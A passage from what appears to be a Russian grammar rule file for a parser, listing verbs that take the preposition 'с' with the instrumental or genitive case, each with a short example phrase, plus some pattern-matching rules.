rus_verbs:смешать{}, // смешать с грязью rus_verbs:пересекаться{}, // пересекаться с трассой rus_verbs:путать{}, // путать с государственной шерстью rus_verbs:поболтать{}, // поболтать с ученицами rus_verbs:здороваться{}, // здороваться с профессором rus_verbs:просчитаться{}, // просчитаться с покупкой rus_verbs:сторожить{}, // сторожить с собакой rus_verbs:обыскивать{}, // обыскивать с собаками rus_verbs:переплетаться{}, // переплетаться с другой веткой rus_verbs:обниматься{}, // обниматься с Ксюшей rus_verbs:объединяться{}, // объединяться с конкурентами rus_verbs:погорячиться{}, // погорячиться с покупкой rus_verbs:мыться{}, // мыться с мылом rus_verbs:свериться{}, // свериться с эталоном rus_verbs:разделаться{}, // разделаться с кем-то rus_verbs:чередоваться{}, // чередоваться с партнером rus_verbs:налететь{}, // налететь с соратниками rus_verbs:поспать{}, // поспать с включенным светом rus_verbs:управиться{}, // управиться с собакой rus_verbs:согрешить{}, // согрешить с замужней rus_verbs:определиться{}, // определиться с победителем rus_verbs:перемешаться{}, // перемешаться с гранулами rus_verbs:затрудняться{}, // затрудняться с ответом rus_verbs:обождать{}, // обождать со стартом rus_verbs:фыркать{}, // фыркать с презрением rus_verbs:засидеться{}, // засидеться с приятелем rus_verbs:крепнуть{}, // крепнуть с годами rus_verbs:пировать{}, // пировать с дружиной rus_verbs:щебетать{}, // щебетать с сестричками rus_verbs:маяться{}, // маяться с кашлем rus_verbs:сближать{}, // сближать с центральным светилом rus_verbs:меркнуть{}, // меркнуть с возрастом rus_verbs:заспорить{}, // заспорить с оппонентами rus_verbs:граничить{}, // граничить с Ливаном rus_verbs:перестараться{}, // перестараться со стимуляторами rus_verbs:объединить{}, // объединить с филиалом rus_verbs:свыкнуться{}, // свыкнуться с утратой rus_verbs:посоветоваться{}, // посоветоваться с адвокатами rus_verbs:напутать{}, // напутать с ведомостями rus_verbs:нагрянуть{}, // нагрянуть с обыском rus_verbs:посовещаться{}, // посовещаться с судьей rus_verbs:провернуть{}, // провернуть с друганом rus_verbs:разделяться{}, // разделяться с сотрапезниками rus_verbs:пересечься{}, // пересечься с второй колонной rus_verbs:опережать{}, // опережать с большим запасом rus_verbs:перепутаться{}, // перепутаться с другой линией rus_verbs:соотноситься{}, // соотноситься с затратами rus_verbs:смешивать{}, // смешивать с золой rus_verbs:свидеться{}, // свидеться с тобой rus_verbs:переспать{}, // переспать с графиней rus_verbs:поладить{}, // поладить с соседями rus_verbs:протащить{}, // протащить с собой rus_verbs:разминуться{}, // разминуться с встречным потоком rus_verbs:перемежаться{}, // перемежаться с успехами rus_verbs:рассчитаться{}, // рассчитаться с кредиторами rus_verbs:срастись{}, // срастись с телом rus_verbs:знакомить{}, // знакомить с родителями rus_verbs:поругаться{}, // поругаться с родителями rus_verbs:совладать{}, // совладать с чувствами rus_verbs:обручить{}, // обручить с богатой невестой rus_verbs:сближаться{}, // сближаться с вражеским эсминцем rus_verbs:замутить{}, // замутить с Ксюшей rus_verbs:повозиться{}, // повозиться с настройкой rus_verbs:торговаться{}, // торговаться с продавцами rus_verbs:уединиться{}, // уединиться с девчонкой rus_verbs:переборщить{}, // переборщить с добавкой rus_verbs:ознакомить{}, // ознакомить с пожеланиями rus_verbs:прочесывать{}, // прочесывать с собаками rus_verbs:переписываться{}, // переписываться с корреспондентами rus_verbs:повздорить{}, // повздорить с сержантом rus_verbs:разлучить{}, // разлучить с семьей rus_verbs:соседствовать{}, // соседствовать с цыганами rus_verbs:застукать{}, // застукать с проститутками rus_verbs:напуститься{}, // напуститься с кулаками rus_verbs:сдружиться{}, // сдружиться с ребятами rus_verbs:соперничать{}, // соперничать с параллельным классом rus_verbs:прочесать{}, // прочесать с собаками rus_verbs:кокетничать{}, // кокетничать с гимназистками rus_verbs:мириться{}, // мириться с убытками rus_verbs:оплошать{}, // оплошать с билетами rus_verbs:отождествлять{}, // отождествлять с литературным героем rus_verbs:хитрить{}, // хитрить с зарплатой rus_verbs:провозиться{}, // провозиться с задачкой rus_verbs:коротать{}, // коротать с друзьями rus_verbs:соревноваться{}, // соревноваться с машиной rus_verbs:уживаться{}, // уживаться с местными жителями rus_verbs:отождествляться{}, // отождествляться с литературным героем rus_verbs:сопоставить{}, // сопоставить с эталоном rus_verbs:пьянствовать{}, // пьянствовать с друзьями rus_verbs:залетать{}, // залетать с паленой водкой rus_verbs:гастролировать{}, // гастролировать с новой цирковой программой rus_verbs:запаздывать{}, // запаздывать с кормлением rus_verbs:таскаться{}, // таскаться с сумками rus_verbs:контрастировать{}, // контрастировать с туфлями rus_verbs:сшибиться{}, // сшибиться с форвардом rus_verbs:состязаться{}, // состязаться с лучшей командой rus_verbs:затрудниться{}, // затрудниться с объяснением rus_verbs:объясниться{}, // объясниться с пострадавшими rus_verbs:разводиться{}, // разводиться со сварливой женой rus_verbs:препираться{}, // препираться с адвокатами rus_verbs:сосуществовать{}, // сосуществовать с крупными хищниками rus_verbs:свестись{}, // свестись с нулевым счетом rus_verbs:обговорить{}, // обговорить с директором rus_verbs:обвенчаться{}, // обвенчаться с ведьмой rus_verbs:экспериментировать{}, // экспериментировать с генами rus_verbs:сверять{}, // сверять с таблицей rus_verbs:сверяться{}, // свериться с таблицей rus_verbs:сблизить{}, // сблизить с точкой rus_verbs:гармонировать{}, // гармонировать с обоями rus_verbs:перемешивать{}, // перемешивать с молоком rus_verbs:трепаться{}, // трепаться с сослуживцами rus_verbs:перемигиваться{}, // перемигиваться с соседкой rus_verbs:разоткровенничаться{}, // разоткровенничаться с незнакомцем rus_verbs:распить{}, // распить с собутыльниками rus_verbs:скрестись{}, // скрестись с дикой лошадью rus_verbs:передраться{}, // передраться с дворовыми собаками rus_verbs:умыть{}, // умыть с мылом rus_verbs:грызться{}, // грызться с соседями rus_verbs:переругиваться{}, // переругиваться с соседями rus_verbs:доиграться{}, // доиграться со спичками rus_verbs:заладиться{}, // заладиться с подругой rus_verbs:скрещиваться{}, // скрещиваться с дикими видами rus_verbs:повидаться{}, // повидаться с дедушкой rus_verbs:повоевать{}, // повоевать с орками rus_verbs:сразиться{}, // сразиться с лучшим рыцарем rus_verbs:кипятить{}, // кипятить с отбеливателем rus_verbs:усердствовать{}, // усердствовать с наказанием rus_verbs:схлестнуться{}, // схлестнуться с лучшим боксером rus_verbs:пошептаться{}, // пошептаться с судьями rus_verbs:сравняться{}, // сравняться с лучшими экземплярами rus_verbs:церемониться{}, // церемониться с пьяницами rus_verbs:консультироваться{}, // консультироваться со специалистами rus_verbs:переусердствовать{}, // переусердствовать с наказанием rus_verbs:проноситься{}, // проноситься с собой rus_verbs:перемешать{}, // перемешать с гипсом rus_verbs:темнить{}, // темнить с долгами rus_verbs:сталкивать{}, // сталкивать с черной дырой rus_verbs:увольнять{}, // увольнять с волчьим билетом rus_verbs:заигрывать{}, // заигрывать с совершенно диким животным rus_verbs:сопоставлять{}, // сопоставлять с эталонными образцами rus_verbs:расторгнуть{}, // расторгнуть с нерасторопными поставщиками долгосрочный контракт rus_verbs:созвониться{}, // созвониться с мамой rus_verbs:спеться{}, // спеться с отъявленными хулиганами rus_verbs:интриговать{}, // интриговать с придворными rus_verbs:приобрести{}, // приобрести со скидкой rus_verbs:задержаться{}, // задержаться со сдачей работы rus_verbs:плавать{}, // плавать со спасательным кругом rus_verbs:якшаться{}, // Не якшайся с врагами инфинитив:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги инфинитив:ассоциировать{вид:несоверш}, глагол:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги глагол:ассоциировать{вид:несоверш}, //+прилагательное:ассоциировавший{вид:несоверш}, прилагательное:ассоциировавший{вид:соверш}, прилагательное:ассоциирующий{}, деепричастие:ассоциируя{}, деепричастие:ассоциировав{}, rus_verbs:ассоциироваться{}, // герой книги ассоциируется с реальным персонажем rus_verbs:аттестовывать{}, // Они аттестовывают сотрудников с помощью наборра тестов rus_verbs:аттестовываться{}, // Сотрудники аттестовываются с помощью набора тестов //+инфинитив:аффилировать{вид:соверш}, // эти предприятия были аффилированы с олигархом //+глагол:аффилировать{вид:соверш}, прилагательное:аффилированный{}, rus_verbs:баловаться{}, // мальчик баловался с молотком rus_verbs:балясничать{}, // женщина балясничала с товарками rus_verbs:богатеть{}, // Провинция богатеет от торговли с соседями rus_verbs:бодаться{}, // теленок бодается с деревом rus_verbs:боксировать{}, // Майкл дважды боксировал с ним rus_verbs:брататься{}, // Солдаты братались с бойцами союзников rus_verbs:вальсировать{}, // Мальчик вальсирует с девочкой rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу rus_verbs:происходить{}, // Что происходит с мировой экономикой? rus_verbs:произойти{}, // Что произошло с экономикой? rus_verbs:взаимодействовать{}, // Электроны взаимодействуют с фотонами rus_verbs:вздорить{}, // Эта женщина часто вздорила с соседями rus_verbs:сойтись{}, // Мальчик сошелся с бандой хулиганов rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями rus_verbs:водиться{}, // Няня водится с детьми rus_verbs:воевать{}, // Фермеры воевали с волками rus_verbs:возиться{}, // Няня возится с детьми rus_verbs:ворковать{}, // Голубь воркует с голубкой rus_verbs:воссоединиться{}, // Дети воссоединились с семьей rus_verbs:воссоединяться{}, // Дети воссоединяются с семьей rus_verbs:вошкаться{}, // Не вошкайся с этой ерундой rus_verbs:враждовать{}, // враждовать с соседями rus_verbs:временить{}, // временить с выходом на пенсию rus_verbs:расстаться{}, // я не могу расстаться с тобой rus_verbs:выдирать{}, // выдирать с мясом rus_verbs:выдираться{}, // выдираться с мясом rus_verbs:вытворить{}, // вытворить что-либо с чем-либо rus_verbs:вытворять{}, // вытворять что-либо с чем-либо rus_verbs:сделать{}, // сделать с чем-то rus_verbs:домыть{}, // домыть с мылом rus_verbs:случиться{}, // случиться с кем-то rus_verbs:остаться{}, // остаться с кем-то rus_verbs:случать{}, // случать с породистым кобельком rus_verbs:послать{}, // послать с весточкой rus_verbs:работать{}, // работать с роботами rus_verbs:провести{}, // провести с девчонками время rus_verbs:заговорить{}, // заговорить с незнакомкой rus_verbs:прошептать{}, // прошептать с придыханием rus_verbs:читать{}, // читать с выражением rus_verbs:слушать{}, // слушать с повышенным вниманием rus_verbs:принести{}, // принести с собой rus_verbs:спать{}, // спать с женщинами rus_verbs:закончить{}, // закончить с приготовлениями rus_verbs:помочь{}, // помочь с перестановкой rus_verbs:уехать{}, // уехать с семьей rus_verbs:случаться{}, // случаться с кем-то rus_verbs:кутить{}, // кутить с проститутками rus_verbs:разговаривать{}, // разговаривать с ребенком rus_verbs:погодить{}, // погодить с ликвидацией rus_verbs:считаться{}, // считаться с чужим мнением rus_verbs:носить{}, // носить с собой rus_verbs:хорошеть{}, // хорошеть с каждым днем rus_verbs:приводить{}, // приводить с собой rus_verbs:прыгнуть{}, // прыгнуть с парашютом rus_verbs:петь{}, // петь с чувством rus_verbs:сложить{}, // сложить с результатом rus_verbs:познакомиться{}, // познакомиться с другими студентами rus_verbs:обращаться{}, // обращаться с животными rus_verbs:съесть{}, // съесть с хлебом rus_verbs:ошибаться{}, // ошибаться с дозировкой rus_verbs:столкнуться{}, // столкнуться с медведем rus_verbs:справиться{}, // справиться с нуждой rus_verbs:торопиться{}, // торопиться с ответом rus_verbs:поздравлять{}, // поздравлять с победой rus_verbs:объясняться{}, // объясняться с начальством rus_verbs:пошутить{}, // пошутить с подругой rus_verbs:поздороваться{}, // поздороваться с коллегами rus_verbs:поступать{}, // Как поступать с таким поведением? rus_verbs:определяться{}, // определяться с кандидатами rus_verbs:связаться{}, // связаться с поставщиком rus_verbs:спорить{}, // спорить с собеседником rus_verbs:разобраться{}, // разобраться с делами rus_verbs:ловить{}, // ловить с удочкой rus_verbs:помедлить{}, // Кандидат помедлил с ответом на заданный вопрос rus_verbs:шутить{}, // шутить с диким зверем rus_verbs:разорвать{}, // разорвать с поставщиком контракт rus_verbs:увезти{}, // увезти с собой rus_verbs:унести{}, // унести с собой rus_verbs:сотворить{}, // сотворить с собой что-то нехорошее rus_verbs:складываться{}, // складываться с первым импульсом rus_verbs:соглашаться{}, // соглашаться с предложенным договором //rus_verbs:покончить{}, // покончить с развратом rus_verbs:прихватить{}, // прихватить с собой rus_verbs:похоронить{}, // похоронить с почестями rus_verbs:связывать{}, // связывать с компанией свою судьбу rus_verbs:совпадать{}, // совпадать с предсказанием rus_verbs:танцевать{}, // танцевать с девушками rus_verbs:поделиться{}, // поделиться с выжившими rus_verbs:оставаться{}, // я не хотел оставаться с ним в одной комнате. rus_verbs:беседовать{}, // преподаватель, беседующий со студентами rus_verbs:бороться{}, // человек, борющийся со смертельной болезнью rus_verbs:шептаться{}, // девочка, шепчущаяся с подругой rus_verbs:сплетничать{}, // женщина, сплетничавшая с товарками rus_verbs:поговорить{}, // поговорить с виновниками rus_verbs:сказать{}, // сказать с трудом rus_verbs:произнести{}, // произнести с трудом rus_verbs:говорить{}, // говорить с акцентом rus_verbs:произносить{}, // произносить с трудом rus_verbs:встречаться{}, // кто с Антонио встречался? rus_verbs:посидеть{}, // посидеть с друзьями rus_verbs:расквитаться{}, // расквитаться с обидчиком rus_verbs:поквитаться{}, // поквитаться с обидчиком rus_verbs:ругаться{}, // ругаться с женой rus_verbs:поскандалить{}, // поскандалить с женой rus_verbs:потанцевать{}, // потанцевать с подругой rus_verbs:скандалить{}, // скандалить с соседями rus_verbs:разругаться{}, // разругаться с другом rus_verbs:болтать{}, // болтать с подругами rus_verbs:потрепаться{}, // потрепаться с соседкой rus_verbs:войти{}, // войти с регистрацией rus_verbs:входить{}, // входить с регистрацией rus_verbs:возвращаться{}, // возвращаться с триумфом rus_verbs:опоздать{}, // Он опоздал с подачей сочинения. rus_verbs:молчать{}, // Он молчал с ледяным спокойствием. rus_verbs:сражаться{}, // Он героически сражался с врагами. rus_verbs:выходить{}, // Он всегда выходит с зонтиком. rus_verbs:сличать{}, // сличать перевод с оригиналом rus_verbs:начать{}, // я начал с товарищем спор о религии rus_verbs:согласовать{}, // Маша согласовала с Петей дальнейшие поездки rus_verbs:приходить{}, // Приходите с нею. rus_verbs:жить{}, // кто с тобой жил? rus_verbs:расходиться{}, // Маша расходится с Петей rus_verbs:сцеплять{}, // сцеплять карабин с обвязкой rus_verbs:торговать{}, // мы торгуем с ними нефтью rus_verbs:уединяться{}, // уединяться с подругой в доме rus_verbs:уладить{}, // уладить конфликт с соседями rus_verbs:идти{}, // Я шел туда с тяжёлым сердцем. rus_verbs:разделять{}, // Я разделяю с вами горе и радость. rus_verbs:обратиться{}, // Я обратился к нему с просьбой о помощи. rus_verbs:захватить{}, // Я не захватил с собой денег. прилагательное:знакомый{}, // Я знаком с ними обоими. rus_verbs:вести{}, // Я веду с ней переписку. прилагательное:сопряженный{}, // Это сопряжено с большими трудностями. прилагательное:связанный{причастие}, // Это дело связано с риском. rus_verbs:поехать{}, // Хотите поехать со мной в театр? rus_verbs:проснуться{}, // Утром я проснулся с ясной головой. rus_verbs:лететь{}, // Самолёт летел со скоростью звука. rus_verbs:играть{}, // С огнём играть опасно! rus_verbs:поделать{}, // С ним ничего не поделаешь. rus_verbs:стрястись{}, // С ней стряслось несчастье. rus_verbs:смотреться{}, // Пьеса смотрится с удовольствием. rus_verbs:смотреть{}, // Она смотрела на меня с явным неудовольствием. rus_verbs:разойтись{}, // Она разошлась с мужем. rus_verbs:пристать{}, // Она пристала ко мне с расспросами. rus_verbs:посмотреть{}, // Она посмотрела на меня с удивлением. rus_verbs:поступить{}, // Она плохо поступила с ним. rus_verbs:выйти{}, // Она вышла с усталым и недовольным видом. rus_verbs:взять{}, // Возьмите с собой только самое необходимое. rus_verbs:наплакаться{}, // Наплачется она с ним. rus_verbs:лежать{}, // Он лежит с воспалением лёгких. rus_verbs:дышать{}, // дышащий с трудом rus_verbs:брать{}, // брать с собой rus_verbs:мчаться{}, // Автомобиль мчится с необычайной быстротой. rus_verbs:упасть{}, // Ваза упала со звоном. rus_verbs:вернуться{}, // мы вернулись вчера домой с полным лукошком rus_verbs:сидеть{}, // Она сидит дома с ребенком rus_verbs:встретиться{}, // встречаться с кем-либо ГЛ_ИНФ(придти), прилагательное:пришедший{}, // пришедший с другом ГЛ_ИНФ(постирать), прилагательное:постиранный{}, деепричастие:постирав{}, rus_verbs:мыть{} } fact гл_предл { if context { Гл_С_Твор предлог:с{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_С_Твор предлог:с{} *:*{падеж:твор} } then return true } #endregion ТВОРИТЕЛЬНЫЙ #region РОДИТЕЛЬНЫЙ wordentry_set Гл_С_Род= { rus_verbs:УХОДИТЬ{}, // Но с базы не уходить. rus_verbs:РВАНУТЬ{}, // Водитель прорычал проклятие и рванул машину с места. (РВАНУТЬ) rus_verbs:ОХВАТИТЬ{}, // огонь охватил его со всех сторон (ОХВАТИТЬ) rus_verbs:ЗАМЕТИТЬ{}, // Он понимал, что свет из тайника невозможно заметить с палубы (ЗАМЕТИТЬ/РАЗГЛЯДЕТЬ) rus_verbs:РАЗГЛЯДЕТЬ{}, // rus_verbs:СПЛАНИРОВАТЬ{}, // Птицы размером с орлицу, вероятно, не могли бы подняться в воздух, не спланировав с высокого утеса. (СПЛАНИРОВАТЬ) rus_verbs:УМЕРЕТЬ{}, // Он умрет с голоду. (УМЕРЕТЬ) rus_verbs:ВСПУГНУТЬ{}, // Оба упали с лязгом, вспугнувшим птиц с ближайших деревьев (ВСПУГНУТЬ) rus_verbs:РЕВЕТЬ{}, // Время от времени какой-то ящер ревел с берега или самой реки. (РЕВЕТЬ/ЗАРЕВЕТЬ/ПРОРЕВЕТЬ/ЗАОРАТЬ/ПРООРАТЬ/ОРАТЬ/ПРОКРИЧАТЬ/ЗАКРИЧАТЬ/ВОПИТЬ/ЗАВОПИТЬ) rus_verbs:ЗАРЕВЕТЬ{}, // rus_verbs:ПРОРЕВЕТЬ{}, // rus_verbs:ЗАОРАТЬ{}, // rus_verbs:ПРООРАТЬ{}, // rus_verbs:ОРАТЬ{}, // rus_verbs:ЗАКРИЧАТЬ{}, rus_verbs:ВОПИТЬ{}, // rus_verbs:ЗАВОПИТЬ{}, // rus_verbs:СТАЩИТЬ{}, // Я видела как они стащили его с валуна и увели с собой. (СТАЩИТЬ/СТАСКИВАТЬ) rus_verbs:СТАСКИВАТЬ{}, // rus_verbs:ПРОВЫТЬ{}, // Призрак трубного зова провыл с другой стороны дверей. (ПРОВЫТЬ, ЗАВЫТЬ, ВЫТЬ) rus_verbs:ЗАВЫТЬ{}, // rus_verbs:ВЫТЬ{}, // rus_verbs:СВЕТИТЬ{}, // Полуденное майское солнце ярко светило с голубых небес Аризоны. (СВЕТИТЬ) rus_verbs:ОТСВЕЧИВАТЬ{}, // Солнце отсвечивало с белых лошадей, белых щитов и белых перьев и искрилось на наконечниках пик. (ОТСВЕЧИВАТЬ С, ИСКРИТЬСЯ НА) rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое rus_verbs:собирать{}, // мальчики начали собирать со столов посуду rus_verbs:разглядывать{}, // ты ее со всех сторон разглядывал rus_verbs:СЖИМАТЬ{}, // меня плотно сжимали со всех сторон (СЖИМАТЬ) rus_verbs:СОБРАТЬСЯ{}, // со всего света собрались! (СОБРАТЬСЯ) rus_verbs:ИЗГОНЯТЬ{}, // Вино в пакетах изгоняют с рынка (ИЗГОНЯТЬ) rus_verbs:ВЛЮБИТЬСЯ{}, // влюбился в нее с первого взгляда (ВЛЮБИТЬСЯ) rus_verbs:РАЗДАВАТЬСЯ{}, // теперь крик раздавался со всех сторон (РАЗДАВАТЬСЯ) rus_verbs:ПОСМОТРЕТЬ{}, // Посмотрите на это с моей точки зрения (ПОСМОТРЕТЬ С род) rus_verbs:СХОДИТЬ{}, // принимать участие во всех этих событиях - значит продолжать сходить с ума (СХОДИТЬ С род) rus_verbs:РУХНУТЬ{}, // В Башкирии микроавтобус рухнул с моста (РУХНУТЬ С) rus_verbs:УВОЛИТЬ{}, // рекомендовать уволить их с работы (УВОЛИТЬ С) rus_verbs:КУПИТЬ{}, // еда , купленная с рук (КУПИТЬ С род) rus_verbs:УБРАТЬ{}, // помочь убрать со стола? (УБРАТЬ С) rus_verbs:ТЯНУТЬ{}, // с моря тянуло ветром (ТЯНУТЬ С) rus_verbs:ПРИХОДИТЬ{}, // приходит с работы муж (ПРИХОДИТЬ С) rus_verbs:ПРОПАСТЬ{}, // изображение пропало с экрана (ПРОПАСТЬ С) rus_verbs:ПОТЯНУТЬ{}, // с балкона потянуло холодом (ПОТЯНУТЬ С род) rus_verbs:РАЗДАТЬСЯ{}, // с палубы раздался свист (РАЗДАТЬСЯ С род) rus_verbs:ЗАЙТИ{}, // зашел с другой стороны (ЗАЙТИ С род) rus_verbs:НАЧАТЬ{}, // давай начнем с этого (НАЧАТЬ С род) rus_verbs:УВЕСТИ{}, // дала увести с развалин (УВЕСТИ С род) rus_verbs:ОПУСКАТЬСЯ{}, // с гор опускалась ночь (ОПУСКАТЬСЯ С) rus_verbs:ВСКОЧИТЬ{}, // Тристан вскочил с места (ВСКОЧИТЬ С род) rus_verbs:БРАТЬ{}, // беру с него пример (БРАТЬ С род) rus_verbs:ПРИПОДНЯТЬСЯ{}, // голова приподнялась с плеча (ПРИПОДНЯТЬСЯ С род) rus_verbs:ПОЯВИТЬСЯ{}, // всадники появились с востока (ПОЯВИТЬСЯ С род) rus_verbs:НАЛЕТЕТЬ{}, // с моря налетел ветер (НАЛЕТЕТЬ С род) rus_verbs:ВЗВИТЬСЯ{}, // Натан взвился с места (ВЗВИТЬСЯ С род) rus_verbs:ПОДОБРАТЬ{}, // подобрал с земли копье (ПОДОБРАТЬ С) rus_verbs:ДЕРНУТЬСЯ{}, // Кирилл дернулся с места (ДЕРНУТЬСЯ С род) rus_verbs:ВОЗВРАЩАТЬСЯ{}, // они возвращались с реки (ВОЗВРАЩАТЬСЯ С род) rus_verbs:ПЛЫТЬ{}, // плыли они с запада (ПЛЫТЬ С род) rus_verbs:ЗНАТЬ{}, // одно знали с древности (ЗНАТЬ С) rus_verbs:НАКЛОНИТЬСЯ{}, // всадник наклонился с лошади (НАКЛОНИТЬСЯ С) rus_verbs:НАЧАТЬСЯ{}, // началось все со скуки (НАЧАТЬСЯ С) прилагательное:ИЗВЕСТНЫЙ{}, // Культура его известна со времен глубокой древности (ИЗВЕСТНЫЙ С) rus_verbs:СБИТЬ{}, // Порыв ветра сбил Ваньку с ног (ts СБИТЬ С) rus_verbs:СОБИРАТЬСЯ{}, // они собираются сюда со всей равнины. (СОБИРАТЬСЯ С род) rus_verbs:смыть{}, // Дождь должен смыть с листьев всю пыль. (СМЫТЬ С) rus_verbs:привстать{}, // Мартин привстал со своего стула. (привстать с) rus_verbs:спасть{}, // тяжесть спала с души. (спасть с) rus_verbs:выглядеть{}, // так оно со стороны выглядело. (ВЫГЛЯДЕТЬ С) rus_verbs:повернуть{}, // к вечеру они повернули с нее направо. (ПОВЕРНУТЬ С) rus_verbs:ТЯНУТЬСЯ{}, // со стороны реки ко мне тянулись языки тумана. (ТЯНУТЬСЯ С) rus_verbs:ВОЕВАТЬ{}, // Генерал воевал с юных лет. (ВОЕВАТЬ С чего-то) rus_verbs:БОЛЕТЬ{}, // Голова болит с похмелья. (БОЛЕТЬ С) rus_verbs:приближаться{}, // со стороны острова приближалась лодка. rus_verbs:ПОТЯНУТЬСЯ{}, // со всех сторон к нему потянулись руки. (ПОТЯНУТЬСЯ С) rus_verbs:пойти{}, // низкий гул пошел со стороны долины. (пошел с) rus_verbs:зашевелиться{}, // со всех сторон зашевелились кусты. (зашевелиться с) rus_verbs:МЧАТЬСЯ{}, // со стороны леса мчались всадники. (МЧАТЬСЯ С) rus_verbs:БЕЖАТЬ{}, // люди бежали со всех ног. (БЕЖАТЬ С) rus_verbs:СЛЫШАТЬСЯ{}, // шум слышался со стороны моря. (СЛЫШАТЬСЯ С) rus_verbs:ЛЕТЕТЬ{}, // со стороны деревни летела птица. (ЛЕТЕТЬ С) rus_verbs:ПЕРЕТЬ{}, // враги прут со всех сторон. (ПЕРЕТЬ С) rus_verbs:ПОСЫПАТЬСЯ{}, // вопросы посыпались со всех сторон. (ПОСЫПАТЬСЯ С) rus_verbs:ИДТИ{}, // угроза шла со стороны моря. (ИДТИ С + род.п.) rus_verbs:ПОСЛЫШАТЬСЯ{}, // со стен послышались крики ужаса. (ПОСЛЫШАТЬСЯ С) rus_verbs:ОБРУШИТЬСЯ{}, // звуки обрушились со всех сторон. (ОБРУШИТЬСЯ С) rus_verbs:УДАРИТЬ{}, // голоса ударили со всех сторон. (УДАРИТЬ С) rus_verbs:ПОКАЗАТЬСЯ{}, // со стороны деревни показались земляне. (ПОКАЗАТЬСЯ С) rus_verbs:прыгать{}, // придется прыгать со второго этажа. (прыгать с) rus_verbs:СТОЯТЬ{}, // со всех сторон стоял лес. (СТОЯТЬ С) rus_verbs:доноситься{}, // шум со двора доносился чудовищный. (доноситься с) rus_verbs:мешать{}, // мешать воду с мукой (мешать с) rus_verbs:вестись{}, // Переговоры ведутся с позиции силы. (вестись с) rus_verbs:вставать{}, // Он не встает с кровати. (вставать с) rus_verbs:окружать{}, // зеленые щупальца окружали ее со всех сторон. (окружать с) rus_verbs:причитаться{}, // С вас причитается 50 рублей. rus_verbs:соскользнуть{}, // его острый клюв соскользнул с ее руки. rus_verbs:сократить{}, // Его сократили со службы. rus_verbs:поднять{}, // рука подняла с пола rus_verbs:поднимать{}, rus_verbs:тащить{}, // тем временем другие пришельцы тащили со всех сторон камни. rus_verbs:полететь{}, // Мальчик полетел с лестницы. rus_verbs:литься{}, // вода льется с неба rus_verbs:натечь{}, // натечь с сапог rus_verbs:спрыгивать{}, // спрыгивать с движущегося трамвая rus_verbs:съезжать{}, // съезжать с заявленной темы rus_verbs:покатываться{}, // покатываться со смеху rus_verbs:перескакивать{}, // перескакивать с одного примера на другой rus_verbs:сдирать{}, // сдирать с тела кожу rus_verbs:соскальзывать{}, // соскальзывать с крючка rus_verbs:сметать{}, // сметать с прилавков rus_verbs:кувыркнуться{}, // кувыркнуться со ступеньки rus_verbs:прокаркать{}, // прокаркать с ветки rus_verbs:стряхивать{}, // стряхивать с одежды rus_verbs:сваливаться{}, // сваливаться с лестницы rus_verbs:слизнуть{}, // слизнуть с лица rus_verbs:доставляться{}, // доставляться с фермы rus_verbs:обступать{}, // обступать с двух сторон rus_verbs:повскакивать{}, // повскакивать с мест rus_verbs:обозревать{}, // обозревать с вершины rus_verbs:слинять{}, // слинять с урока rus_verbs:смывать{}, // смывать с лица rus_verbs:спихнуть{}, // спихнуть со стола rus_verbs:обозреть{}, // обозреть с вершины rus_verbs:накупить{}, // накупить с рук rus_verbs:схлынуть{}, // схлынуть с берега rus_verbs:спикировать{}, // спикировать с километровой высоты rus_verbs:уползти{}, // уползти с поля боя rus_verbs:сбиваться{}, // сбиваться с пути rus_verbs:отлучиться{}, // отлучиться с поста rus_verbs:сигануть{}, // сигануть с крыши rus_verbs:сместить{}, // сместить с поста rus_verbs:списать{}, // списать с оригинального устройства инфинитив:слетать{ вид:несоверш }, глагол:слетать{ вид:несоверш }, // слетать с трассы деепричастие:слетая{}, rus_verbs:напиваться{}, // напиваться с горя rus_verbs:свесить{}, // свесить с крыши rus_verbs:заполучить{}, // заполучить со склада rus_verbs:спадать{}, // спадать с глаз rus_verbs:стартовать{}, // стартовать с мыса rus_verbs:спереть{}, // спереть со склада rus_verbs:согнать{}, // согнать с живота rus_verbs:скатываться{}, // скатываться со стога rus_verbs:сняться{}, // сняться с выборов rus_verbs:слезать{}, // слезать со стола rus_verbs:деваться{}, // деваться с подводной лодки rus_verbs:огласить{}, // огласить с трибуны rus_verbs:красть{}, // красть со склада rus_verbs:расширить{}, // расширить с торца rus_verbs:угадывать{}, // угадывать с полуслова rus_verbs:оскорбить{}, // оскорбить со сцены rus_verbs:срывать{}, // срывать с головы rus_verbs:сшибить{}, // сшибить с коня rus_verbs:сбивать{}, // сбивать с одежды rus_verbs:содрать{}, // содрать с посетителей rus_verbs:столкнуть{}, // столкнуть с горы rus_verbs:отряхнуть{}, // отряхнуть с одежды rus_verbs:сбрасывать{}, // сбрасывать с борта rus_verbs:расстреливать{}, // расстреливать с борта вертолета rus_verbs:придти{}, // мать скоро придет с работы rus_verbs:съехать{}, // Миша съехал с горки rus_verbs:свисать{}, // свисать с веток rus_verbs:стянуть{}, // стянуть с кровати rus_verbs:скинуть{}, // скинуть снег с плеча rus_verbs:загреметь{}, // загреметь со стула rus_verbs:сыпаться{}, // сыпаться с неба rus_verbs:стряхнуть{}, // стряхнуть с головы rus_verbs:сползти{}, // сползти со стула rus_verbs:стереть{}, // стереть с экрана rus_verbs:прогнать{}, // прогнать с фермы rus_verbs:смахнуть{}, // смахнуть со стола rus_verbs:спускать{}, // спускать с поводка rus_verbs:деться{}, // деться с подводной лодки rus_verbs:сдернуть{}, // сдернуть с себя rus_verbs:сдвинуться{}, // сдвинуться с места rus_verbs:слететь{}, // слететь с катушек rus_verbs:обступить{}, // обступить со всех сторон rus_verbs:снести{}, // снести с плеч инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш }, // сбегать с уроков деепричастие:сбегая{}, прилагательное:сбегающий{}, // прилагательное:сбегавший{ вид:несоверш }, rus_verbs:запить{}, // запить с горя rus_verbs:рубануть{}, // рубануть с плеча rus_verbs:чертыхнуться{}, // чертыхнуться с досады rus_verbs:срываться{}, // срываться с цепи rus_verbs:смыться{}, // смыться с уроков rus_verbs:похитить{}, // похитить со склада rus_verbs:смести{}, // смести со своего пути rus_verbs:отгружать{}, // отгружать со склада rus_verbs:отгрузить{}, // отгрузить со склада rus_verbs:бросаться{}, // Дети бросались в воду с моста rus_verbs:броситься{}, 